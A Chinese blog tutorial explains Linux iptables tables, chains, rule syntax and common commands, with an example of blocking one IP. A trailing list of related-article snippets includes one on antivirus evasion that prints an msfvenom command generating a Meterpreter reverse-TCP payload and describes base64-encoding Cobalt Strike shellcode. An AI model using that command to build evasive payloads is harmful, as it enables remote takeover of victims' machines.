Linux iptables详解
前言:事情是这样的。最近部门在进行故障演练,攻方同学利用iptables制造了一个故障。演练最终肯定是取得了理想的效果,即业务同学在规定时间内定位了问题并恢复了业务(ps:你懂得)。
对我个人来讲一直知道iptables的存在,但是说起来使用还真有些陌生,为此专门做个记录。
1、iptables介绍
1.0、iptables基本介绍
iptables是Linux防火墙系统的重要组成部分,其主要功能是实现对网络数据包进出设备及转发的控制。iptables是Linux中比较底层的网络服务,它控制了Linux系统中的网络操作.centos中的firewalld和ubuntu中的ufw都是在iptables之上构建的,当然他们简化了iptables的操作。因此学习了解iptables对我么了解firewalld和ufw的工作机制都很有帮助。ps:firewalld和ufw不仅仅是对iptables进行封装这么简单,还有ipv6等功能。
iptables是集成在Linux内核中的包过滤防火墙系统。使用iptables可以添加、删除具体的过滤规则,iptables默认维护着4个表(table)和5个链(chain),所有防火墙策略规则都被分别写入这些表与链中。如下图所示为数据包到达linux主机网卡后,内核处理数据包的大致流程。
如上图数据流向为:
- 一个数据包进入网卡时它首先进入PREROUTING链,内核根据数据包目的IP判断是否需要转发出去。
- 如果数据包就是进入本机的它会沿着上图向上移动到达INPUT链。数据包到了INPUT链后任何进程都可以接收到它。
- 如果数据包是要转发出去的(且内核允许转发),数据包就会如上图享有移动经过FORWARD链,然后到达POSTROUTING链输出。
- 对于本机运行程序发送的数据包。其首先会经过OUTPUT链,然后到达POSTROUTING链输出。
1.1、什么是规则(rule)?
规则就是管理员对数据包预定义的条件,简单来说就是当数据包满足某种条件就执行指定的动作。对于网络协议这里的条件显然就是"五元组"那些东西:例如数据包源地址、源端口、协议类型、目的地址、目的端口。动作:可以是放行(accept)、拒绝(reject)、丢弃(drop)等。ps:后面会详细介绍。
iptables基本语法格式如下:
iptables [-t table] COMMAND [chain] CRETIRIA -j ACTION
各参数含义如下(各取值后面会有介绍):
- -t:指定需要维护的防火墙规则表(filter/nat/mangle/raw等),不指定默认filter。
- COMMAND:子命令,定义对规则的管理。
- chain:指明链表。
- CRETIRIA:匹配参数。
- ACTION:触发什么动作(ACCEPT/DROP/等)。
下面提供一个iptables命令规则,便于直观理解。
iptables -t filter -A INPUT -i eth0 -p tcp -s 192.23.2.0/24 -m multiport --dports 443,80 -j ACCEPT#-t:操作filter表
#-A:在表末追加规则;-I为表首插入规则、-D为删除规则
#INPUT:链名称;该规则在那条链上生效
#-j:数据包处理动作;比如接受、拒绝等
命令解释:允许经过本机网卡eth0,访问协议是TCP,源地址是192.23.2.0/24段的数据包访问本地端口80和443的服务。
1.2、什么是表?
表主要是用来存放具体的防火墙规则的。我们可以对规则进行分类,不同的功能存入不同的表。分类如下:
- filter表:主要用于过滤流入和流出的数据包,根据具体的规则决定是否放行该数据包;
- nat表:主要用于修改数据包的源地址和目的地址、端口号等信息(实现网络地址转换,如SNAT、DNAT、MASQUERADE、REDIRECT);
- raw表:主要决定数据包是否被状态跟踪机制处理;
- mangle表:主要用于超姐报文修改数据包的IP头信息;
- security表:最不常用的表,用在SELinux上;用于强制访问控制(MAC)网络规则,由Linux安全模块(SELinux)实现其中nat表和filter表最常用。
1.3、什么是链(chains)?
"链"是指内核中控制网络定义的几个规则链。链是数据包传播的路径,每一天链其实就是众多规则中的一个检查清单,每一天链中可以有一条或多条规则。其实就是一条链路链接在一起的规则。 由上图我们知道有如下五个数据链:
- INPUT(入站数据过滤):路由判断后确定数据包流入本机,此时应用这里的规则;
- OUTPUT(出站数据过滤):本机应用向外发出数据包时,应用这里的规则;
- FORWARD(转发数据过滤):路由判断之后确定数据包要转发给其他主机,应用此规则;注:linux主机需要开启ip_forward功能才支持转发,在/etc/sysctl.conf文件中配置参数net.ipv4.ip_forward=1
- PREROUTING(路由前过滤):数据包到达防火墙时,进行路由判断之前指定的规则;
- POSTROUTING(路由后过滤):在数据包离开防火墙时候进行路由判断之后执行的规则。规则按照从上到下的顺序进行匹配,当一个数据包与某个规则匹配成功后就会按照规则的动作处理,即后续的规则不再会被考虑。
如下梳理几个典型场景数据链路情况:
(1)外部主机发送数据包给防火墙主机:数据会经过PREROUTING链与INPUT链。
(2)防火墙本机发送数据包到外部主机:数据会经过OUTPUT链与POSTROUTING链;
(3)防火墙备机作为路由负责转发数据:数据经过PREROUTING链、FORWARD链以及POSTROUTING链。
2、iptables的语法规则
2.1、iptables基本语法格式
(1)语法格式
iptables [-t table] COMMAND [chain] CRETIRIA -j ACTION
各参数含义如下:
- -t:指定需要维护的防火墙规则表(filter/nat/mangle/raw等),不指定默认filter。
- COMMAND:子命令,定义对规则的管理。
- chain:指明链表。
- CRETIRIA:匹配参数。
- ACTION:触发什么动作(ACCEPT/DROP/等)。
(2)规则表(-t)
用于指定命令应用于哪个iptables内置表。注:不指定默认filter表。
(3)命令(COMMAND)
命令 | 介绍 |
-A --append <链名> | 列表最后追加规则 |
-I --insert <链名> | 指定位置插入规则 |
-R --replace <链名> | 替换规则列表中的某条规则 |
-D --delete <链名> | 从规则列表中删除1条规则 |
-L --list <链名> | 查看iptables规则列表 |
-v --verbose <链名> | 与-L他命令一起使用显示更多更详细的信息 |
-F --flush <链名> | 删除表中所有规则 |
-Z --zero <链名> | 将表中数据包计数器和流量计数器归零 |
-X --delete-chain <链名> | 删除自定义链 |
-P --policy <链名> | 定义默认策略 |
(4)chain
参见上述链的介绍
(5)标准criteria(其实就是匹配条件)
参 数(!表示取反) 功 能
[!]-p 匹配协议(--proto)
[!]-s 匹配源地址(--source源地址或子网)
[!]-d 匹配目标地址
[!]-i 匹配入站网卡接口(--in-interface 网络接口名)
[!]-o 匹配出站网卡接口(--out-interface 网络接口名)
[!]--sport 匹配源端口(源端口号)
[!]--dport 匹配目标端口(目标端口号)
[!]--src-range 匹配源地址范围
[!]--dst-range 匹配目标地址范围
[!]--limit 四配数据表速率
[!]--mac-source 匹配源MAC地址
[!]--sports 匹配源端口
[!]--dports 匹配目标端口
[!]--stste 匹配状态(INVALID、ESTABLISHED、NEW、RELATED)
[!]--string 匹配应用层字串
(6)触发动作(其实就是行为)
触发动作 功 能
ACCEPT 允许数据包通过
DROP 丢弃数据包
REJECT 拒绝数据包通过
LOG 将数据包信息记录 syslog 曰志
DNAT 目标地址转换
SNAT 源地址转换
MASQUERADE 地址欺骗
REDIRECT 重定向
对常用的几个动作进行下说明:
(1)REJECT:拦阻该数据包,并返回数据包通知对方。可以返回的数据包有几个选择:ICMP port-unreachable、ICMP echo-reply 或是tcp-reset(这个数据包包会要求对方关闭联机),进行完此处理动作后,将不再比对其它规则,直接中断过滤程序。
iptables -A INPUT -p TCP --dport 22 -j REJECT --reject-with ICMP echo-reply
(2)DROP:丢弃数据包不予处理,进行完此处理动作后将不在比对其他规则直接终端过滤程序。
(3)REDIRECT:将数据包重新导向另一个端口(PNAT)。进行完此处理动作以后,将会继续比对其他规则。ps:这个功能可以用于实现 透明代理 或用来保护web服务器。
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT--to-ports 8081
2.2、看个具体的例子
下面提供一个iptables命令规则,便于直观理解。
iptables -t filter -A INPUT -i eth0 -p tcp -s 192.23.2.0/24 -m multiport --dports 443,80 -j ACCEPT#-t:操作filter表
#-A:在表末追加规则;-I为表首插入规则、-D为删除规则
#INPUT:链名称;该规则在那条链上生效
#-j:数据包处理动作;比如接受、拒绝等
命令解释:允许经过本机网卡eth0,访问协议是TCP,源地址是192.23.2.0/24段的数据包访问本地端口80和443的服务。
3、iptables常用指令
3.1、查看规则
iptables -nvL #查看默认的filter表
iptables -nvL -t nat #指定查看nat表
iptables -nvL --line-number #显示规则行号(可用于指定行号删除规则)
各参数含义如下:
-L表示查看当前表的所有规则,默认查看的是filter表;如果要查看nat表需追加"-t nat"指定;
-n表示不对IP进行反查,加上这个参数显式速度会更快;
-v表示输出详细信息,包含通过改规则的数据包数据量、总字节数以及相应的网络接口;
iptables -nL --line-number
如下图所示圆框部分即为规则号、方框部分即为一条具体的规则。
注:可以看到这个规则作用filter表的INPUT链,对于来源是9.137.22.127的数据包直接drop。
3.2、添加规则
添加规则有两个命令,分别是-A添加到规则的末尾) 和 -I 插入指定位置(如果没有指定的话就默认插入到规则的首部)。
//丢弃来自特定IP的所有数据包。
//filter表的INPUT链插入一条规则。规则为:来源是9.137.22.127/192.168.1.5的请求全部丢弃。
iptables -A INPUT -s 9.137.22.127 -j DROP
iptables -A INPUT -s 192.168.1.5 -j DROP//丢弃某个端口的所有tcp数据包
//filter表的INPUT链超如一条规则。规则为:来自22端口的任何TCP数据包都直接丢弃。
iptables -A INPUT -p tcp --dport 22 -j DROP//屏蔽出站ip
iptables -A OUTPUT -d 192.168.1.0/24 -j DROP
iptables -A OUTPUT -o eth1 -d 192.168.1.0/24 -j DROP//允许tcp协议目标端口22的数据包进入
iptables -A INPUT -p tcp --dport=22 -j ACCEPT//允许tcp协议来源ip是1.2.3.4的数据包的进入
iptables -A INPUT -p tcp -s 1.2.3.4 -j ACCEPT
查看规则如下:
3.3、修改规则
修改规则时候需要使用 -R 参数。
//修改上述规则号为1的规则,修改成"s 9.137.22.127 -j ACCEPT"
iptables -R INPUT 1 -s 9.137.22.127 -j ACCEPT#修改上述规则好为6的规则,修改成"-s 1.3.4.2 -j DROP"
iptables -R INPUT 5 -p tcp -s 1.3.4.2 --dport=9380 -j DROP
执行两条指令后,查看iptables效果如下。
3.4、删除规则
修改规则有两种方法,但都必须使用-D参数。
#指定规则号及规则删除(太麻烦)#仅指定规则号删除
iptables -D INPUT 5
iptables -D INPUT 4
删除后再次查看规则,如下就只剩下三个规则了:
iptables -nvL --line-number
3.5、启动/停止/重启防火墙
service iptables start
service iptables stop
service iptables restart//保存防火墙规则
service iptables save
4、验证效果
4.1、限制某个IP不能访问
初始状态。工具机 9.137.22.127上执行脚本访问mongo_proxy服务所在的机器(30.169.0.179)。
如下图,显然可以正常访问到数据:
接下来在mongo_proxy所在机器上限制来自ip 9.137.22.127的访问,即添加如下规则:
iptables -A INPUT -s 9.137.22.127 -j DROP
然后就访问不通了。
相关文章:
Linux iptables详解
前言:事情是这样的。最近部门在进行故障演练,攻方同学利用iptables制造了一个故障。演练最终肯定是取得了理想的效果,即业务同学在规定时间内定位了问题并恢复了业务(ps:你懂得)。 对我个人来讲一直知道iptables的存在࿰…...
Mac电脑arm64芯片Cocoapods 的 ffi 兼容问题
转载请标明出处:https://blog.csdn.net/donkor_/article/details/139505395 文章目录 前言问题分析解决方案总结 前言 今天在改Flutter项目的时候,构建IOS项目时,Cocoapods报错 Error: To set up CocoaPods for ARM macOS, run: arch -x86_6…...
如何提高逻辑性?(小妙招)
在现代社会中,逻辑性是一种至关重要的思维能力。不论是在工作、学习还是生活中,逻辑清晰的人总能更好地解决问题和做出决策。然而,如何提高逻辑性却是许多人头疼的问题。本文将从六个方面详细探讨如何提升逻辑性,包括细心态度、逼…...
2024050501-重学 Java 设计模式《实战命令模式》
重学 Java 设计模式:实战命令模式「模拟高档餐厅八大菜系,小二点单厨师烹饪场景」 一、前言 持之以恒的重要性 初学编程往往都很懵,几乎在学习的过程中会遇到各种各样的问题,哪怕别人那运行好好的代码,但你照着写完…...
0104__Linux 中 nm 命令简介
Linux 中 nm 命令简介_linux nm-CSDN博客...
Linux网络服务
01 Linux网络设置 02 DHCP原理与配置 03 DNS域名解析服务 04 远程访问及控制 05 部署YUM仓库及NFS共享服务 06 PXE高效批量网络装机...
Vue18-列表渲染
一、v-for渲染列表 1-1、遍历数组(用的多) 1-2、key属性 让每一个<li>都有一个唯一的标识! 1、写法一 只有用了遍历的方式(v-for)来生成多个同样结构的数据,必须给每个结构取一个唯一的标识。 2、写法二 或者:…...
【三维重建】增量SFM系统
在学习完鲁鹏老师的三维重建基础后,打算用C代码复现一下增量SFM系统(https://github.com/ldx-star/SFM)。 本项目的最终目标就是通过相机拍摄的多视角视图获取三维点云。由于资金有效,博主使用的是相机是小米12。 先来看一下最终…...
PyTorch 维度变换-Tensor基本操作
以如下 tensor a 为例,展示常用的维度变换操作 >>> a torch.rand(4,3,28,28) >>> a.shape torch.Size([4, 3, 28, 28])view / reshape 两者功能完全相同: a.view(shape) >>> a.view(4,3,28*28) ## a.view(4,3,28,28) 可恢复squeeze…...
spring 事务失效的几种场景
一、背景 在 springBoot 开发过程中,我们一般都是在业务方法上添加 Transactional 注解来让 spring 替我们管理事务,但在某些特定的场景下,添加完注解之后,事务是不生效的,接下来详细介绍下。 二、方法不是 public 2…...
45岁程序员独白:中年打工人出路在哪里?
作为一名也是JAVA方向的互联网从业者,我发现周围超过40岁以上的同事,基本都是部门负责人或者高层,真正还在一线做开发或者当个小领导的,已经是凤毛麟角了。 同事A今年刚满40,育有一儿一女,从进入公司到现在…...
深度探讨:为何训练精度不高却在测试中表现优异?
深度探讨:为何训练精度不高却在测试中表现优异? 在深度学习领域,我们经常遇到这样一个看似矛盾的现象:模型在训练集上的精度不是特别高,但在测试集上却能达到出色的表现。这种情况虽然不是常规,但其背后的…...
动态内存管理<C语言>
导言 在C语言学习阶段,指针、结构体和动态内存管理,是后期学习数据结构的最重要的三大知识模块,也是C语言比较难的知识模块,但是“天下无难事”,只要认真踏实的学习,也能解决,所以下文将介绍动态…...
第一百零二节 Java面向对象设计 - Java静态内部类
Java面向对象设计 - Java静态内部类 静态成员类不是内部类 在另一个类的主体中定义的成员类可以声明为静态。 例子 以下代码声明了顶级类A和静态成员类B: class A {// Static member classpublic static class B {// Body for class B goes here} }注意 静态成…...
给自己Linux搞个『回收站』,防止文件误删除
linux没有像windows里一样的回收站,工作时候删除文件容易不小心删错,造成麻烦的后果。所以给自己整了个回收站: 文件删除,新建~/opts/move_to_trash.sh,然后在里面新增,将${your_name}改成你的用户名。同时…...
Springboot接收参数的21种方式
前言 最近一直在忙着开发项目(ps:其实有些摆烂),好久没有更新博客了,打开csdn一看好多网友留言私信,继上篇博客(我是如何实现HttpGet请求传body参数的!),网友议论纷纷,各抒起见。今天正好抽出时间总结一下Springboot接受参数的21种方式(Post、Get、Delete),一并…...
打造出色开发者体验的十大原则
大约十年前我是一名CIO,当时我在评估一种技术解决方案,向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求,但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...
Vue3_对接腾讯云COS_大文件分片上传和下载
目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档: 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...
python免杀--base64加密(GG)
单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...
Python版与Java版城市天气信息爬取对比分析
在对比Python版和Java版城市天气信息爬取时,我们需要考虑多个方面,包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析: 1. 语言特性 Python: 易于学习:Python的语法清…...
CSS真题合集(二)
CSS真题合集(二) 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...
长期出汗困扰你?可能是肾合出了问题
想象一下,我们的身体是一座繁茂的秘密花园,每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水,则是这花园中无声的语言,它讲述着我们的健康与否,也揭示着身体内部的微妙变化。 在炎炎夏日,身体如盛开…...
Jmeter函数二次开发说明
jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖,需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...
重新学习STM32(1)GPIO
概念简介 GPIO 是通用输入输出端口的简称,简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来,从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组,比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...
React+TS前台项目实战(二)-- 路由配置 + 组件懒加载 + Error Boundary使用
文章目录 前言一、路由配置和懒加载lazy的使用二、TS版本Error Boundary组件封装三、在layout组件中使用Suspense组件和错误边界组件总结 前言 本文将详细介绍项目中的页面路由配置和异步组件懒加载处理,以提高用户体验,实现过渡效果。 一、路由配置和懒…...
成为电商低价神秘顾客访问员的必备条件(深圳神秘顾客公司)
电商低价神秘顾客需要具备以下条件,以确保能够执行有效的调查任务并为企业提供有价值的反馈: 1、细致的观察能力:神秘顾客访问员需要具备细致的观察能力,能够全面、细致地观察电商平台的购物流程、商品详情、服务细节等。这包括注…...
现货黄金交易多少克一手?国内外情况大不同
如果大家想参与国际市场上的现货黄金交易,就应该从它交易细则的入手,先彻底认识这个品种,因为它是来自欧美市场的投资方式,所以无论是从合约的计的单位,计价的货币,交易的具体时间,以及买卖过程…...
LNMP与动静态网站介绍
Nginx发展 Nginx nginx http server Nginx是俄罗斯人 Igor Sysoev(伊戈尔.塞索耶夫)开发的一款高性能的HTTP和反向代理服务器。 Nginx以高效的epoll.kqueue,eventport作为网络IO模型,在高并发场景下,Nginx能够轻松支持5w并发连接数的响应,并…...
教育小程序开发:技术实现与实践案例
随着信息技术的不断进步,教育小程序在教育领域的应用越来越广泛。教育小程序开发不仅可以提高教学效率,还能够提供个性化的学习体验。本文将以技术代码为例,详细介绍教育小程序开发的关键技术和实践案例,帮助开发者更好地理解和实…...
LeetCode 746.使用最小花费爬楼梯
题目: 给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费…...
wordpress simple主题/优化营商环境工作总结
如果你只是不想要你插入到文档中的图片的某一小部分,试问你应该怎么办呢?其实很简单,你可以删除图片的背景哦!在Word2013中是可以这么做的,不信的话你就来试试吧。操作步骤如下:1、用Word2013打开一篇文档&…...
公司网站域名注册流程/网站建设 全网营销
alter table tablename drop column columnname;alter table tabelname add columnname varchar2(8) NULL;一 . 常用mysql命令行命令1 .启动MYSQL服务 net start mysql停止MYSQL服务 net stop mysql2 . netstat –na | findstr 3306 查看被监听的端口 , findstr用于查找后面的在…...
力软框架做网站/网站接广告
一、前言 JDOM是Breet Mclaughlin和Jason Hunter两大Java高手的创作成果,2000年初,JDOM作为一个开放源代码项目正式开始研发。JDOM是一种解析XML的Java工具包。 DOM 适合于当今流行的各种语言,包括Java,JavaScripte,VB,VBScriptÿ…...
企业怎么样上各大网站做宣传/什么是论坛推广
查看SELinux状态: 1、##如果 SELinux status 参数为enabled即为开启状态 /usr/sbin/sestatus -v 2、也可以用这个命令检查 getenforce 关闭SELinux: 1、临时关闭(不用重启机器): setenforce 0 …...
做电影网站要多少钱/文明seo
最近项目中需要记录服务端访问日志,所谓的服务端访问日志其实就是Controller层的访问日志,所以在开发过程中回顾了一下AOP相关的内容,特此记录,便于日后查阅。 本文只介绍Controller层日志记录,不涉及Service层与Mappe…...
蒙阴做网站/如何创建一个个人网站
通信改变未来,从古至今信息的传输和获取从来就没有缺少过,之所以谁能取得胜利就是谁掌握的资源多,其中信息资源尤为重要,只要获取到更多的信息你就能提前做出应对策略。因此未来一定是信息的未来,作为信息传输的技术和…...